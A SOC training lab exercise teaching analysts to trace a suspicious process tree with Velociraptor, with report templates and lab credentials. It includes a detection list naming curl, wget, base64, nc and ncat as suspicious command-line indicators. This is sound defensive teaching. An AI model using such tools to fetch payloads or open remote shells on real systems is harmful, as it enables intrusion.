Lab 8.2 — Process Tree Investigation

Lab Overview

The Scenario

Your Tier 1 analyst escalated an alert: a suspicious curl command was observed executing on the endpoint velociraptor-client. The alert only shows the single process — but you need to understand the full context:

• What launched this process? (parent process)
• What did this process launch? (child processes)
• What user ran it? (privilege context)
• What was the full command line? (intent)

A suspicious execution chain has been planted on the client. Your job is to trace the entire tree — from the initial trigger to the final payload — and determine whether the activity is malicious.

Part 1: Initial Process Investigation

Step 1: Log Into Velociraptor

• URL: Provided via the "Open Lab" button (port 8889)
• Username: admin
• Password: cyberblue

Navigate to the connected client.

Step 2: Collect the Full Process Tree

1. Click "Collected Artifacts" → "New Collection"
2. Search for and select: Linux.Sys.Pslist
3. Launch the collection

Step 3: Find the Suspicious Process

In the results, look for processes that stand out:

• Processes running from unusual paths (/tmp/, /dev/shm/, hidden directories)
• Processes with suspicious command-line arguments (curl, wget, base64, nc, ncat)
• Processes running as unexpected users (web server user running system tools)

Record the PID of the first suspicious process you find.

Click to enlarge

Part 2: Tracing the Parent Chain

Step 4: Identify the Parent Process

For the suspicious process you found, locate its Parent PID (PPID). Find that parent in the process listing.

Document the chain upward:

PARENT CHAIN (bottom to top)
════════════════════════════
Level 0: [suspicious process] (PID: [x], PPID: [y])
  Command: [full command line]
  User: [username]
  Path: [binary path]

Level 1: [parent process] (PID: [y], PPID: [z])
  Command: [full command line]
  User: [username]
  Path: [binary path]

Level 2: [grandparent process] (PID: [z], PPID: [w])
  Command: [full command line]
  User: [username]
  Path: [binary path]

Step 5: Evaluate the Parent Chain

For each level, ask:

• Is this parent-child relationship normal? (e.g., systemd → sshd is normal; apache2 → /bin/bash is NOT)
• Does the user context change between levels? (privilege escalation indicator)
• Does the working directory make sense for this process?

Part 3: Tracing the Child Chain

Step 6: Find Child Processes

Now look DOWNWARD from your suspicious process. Find all processes whose PPID matches your suspicious process's PID.

Document the children:

CHILD CHAIN (top to bottom)
═══════════════════════════
Root: [suspicious process] (PID: [x])

  Child 1: [process] (PID: [a], PPID: [x])
    Command: [full command line]
    Purpose: [what is this doing?]

  Child 2: [process] (PID: [b], PPID: [x])
    Command: [full command line]
    Purpose: [what is this doing?]

  Child 3: [process] (PID: [c], PPID: [x])
    Command: [full command line]
    Purpose: [what is this doing?]

Step 7: Classify Child Activities

Categorize each child process:

Click to enlarge

Part 4: Command-Line Analysis

Step 8: Decode Command-Line Arguments

For each process in your tree, examine the full command line carefully:

• Are there base64-encoded strings? (decode them)
• Are there IP addresses or URLs? (are they external?)
• Are there file paths being read or written? (sensitive files?)
• Are there piped commands? (chaining multiple operations)

COMMAND-LINE ANALYSIS
═════════════════════
Process: [name] (PID: [x])
Full Command: [complete command line]

Decoded/Interpreted:
  - [what each argument/flag does]
  - [any encoded strings decoded]
  - [network destinations identified]
  - [files accessed or modified]

Step 9: Timeline Reconstruction

Using process start times, arrange the entire execution chain chronologically:

EXECUTION TIMELINE
══════════════════
[T+0s]   [process] launched by [parent] — [action description]
[T+1s]   [process] launched by [parent] — [action description]
[T+3s]   [process] launched by [parent] — [action description]
[T+5s]   [process] launched by [parent] — [action description]

Part 5: Verdict and Report

Step 10: Make Your Determination

Based on all evidence, complete the final analysis:

PROCESS TREE INVESTIGATION REPORT
══════════════════════════════════
Endpoint: [hostname]
Investigation Date: [today's date]
Analyst: [your name]

VERDICT: [MALICIOUS / BENIGN / INCONCLUSIVE]
Confidence: [High / Medium / Low]

EVIDENCE SUMMARY
────────────────
1. Process origin: [legitimate service / suspicious path]
2. Parent chain: [normal hierarchy / abnormal spawning]
3. Child activities: [categories observed]
4. Command lines: [suspicious indicators found]
5. Timing pattern: [automated / manual / normal]
6. User context: [appropriate / escalated / service account abuse]

FULL PROCESS TREE
─────────────────
[grandparent]
  └─ [parent]
      └─ [suspicious process]  ← INVESTIGATION START
          ├─ [child 1] — [classification]
          ├─ [child 2] — [classification]
          └─ [child 3] — [classification]

RECOMMENDATIONS
───────────────
1. [Immediate action]
2. [Follow-up investigation]
3. [Prevention measure]

Deliverable Checklist

Before completing the lab, ensure you have:

• Parent Chain — traced upward from suspicious process to init/systemd
• Child Chain — identified all child processes and their purposes
• Command-Line Analysis — decoded and interpreted all command arguments
• Execution Timeline — chronological reconstruction of the attack chain
• Verdict Document — malicious/benign determination with supporting evidence

What's Next

In Lab 8.3 — Persistence Hunt, you'll systematically search an endpoint for all persistence mechanisms an attacker may have installed. Instead of tracing one execution chain, you'll sweep every common persistence location — cron, systemd, SSH keys, shell configs, and more.